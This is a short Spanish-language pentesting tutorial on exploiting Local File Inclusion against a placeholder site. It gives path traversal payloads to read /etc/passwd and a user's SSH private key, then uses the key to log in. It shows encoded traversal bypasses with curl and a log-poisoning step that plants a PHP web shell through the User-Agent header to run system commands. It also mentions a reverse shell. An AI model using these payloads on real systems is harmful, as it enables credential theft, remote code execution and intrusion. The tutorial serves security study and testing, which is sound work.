Para poder probar si se acontece un LFI, desde la misma ruta de la URL o desde un parámetro dentro de un archivo PHP por ejemplo, y este parámetro muestre otra página, por ejemplo:

https://target.com/index.php?page=catalog

http://target.com/cgi-bin/../../../../etc/passwd

En el parámetro page es donde podemos probar varias formas de apuntar a un archivo local, mediante path traversal:

http://target.com/index.php?page=../../../../../../../../../etc/passwd

Esto nos devuelve el contenido del /etc/passwd de la máquina local que esta hosteando esta web.

En caso de conocer nombres de usuarios, podemos apuntar a la id_rsa de dichos usuarios para conectarnos por ssh sin necesidad de contraseña:

http://target.com/index.php?page=../../../../../../../../../home/j.garcia/.ssh/id_rsa

kali@kali:~$ ssh -i id_rsa [email protected]
...
target@68b68f3eb343:~$

Siempre debemos probar URL encodeando los caractéres o duplicando las barras y los puntos:

curl <http://target.com/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd>

curl <http://target.com/cgi-bin/....//....//....//....//....//....//....//etc/passwd>

Una vez que comprobamos que un parámetro es vulnerable a LFI, podemos tratar de ejecutar comandos inyectando el User-Agent, en primer lugar introducimos este fragménto de código PHP que se encarga de ejecutar un comando mediante el parámetro cmd a nivel de sistema:

<?php echo system($_GET['cmd']); ?>

a5768a72a99581707edad7a81a481e3a-cwa_lfi_modfirstreqcom.png

Y en segundo lugar, en el mismo parámetro de la URL, podemos apuntar al mismo access.log y pasarle el comando cmd con el comando que queramos ejecutar:

a6f91e6dc8a0cfedb50d28494a37ed84-cwa_lfi_pscommandcom.png

En este punto, podiamos tratar de entablar una reverse shell, siempre url encodeando todos los caracteres y espacios:

d7728c42ad79d831f94c22e4d11e5de1-cwa_lfi_bashrevcom.png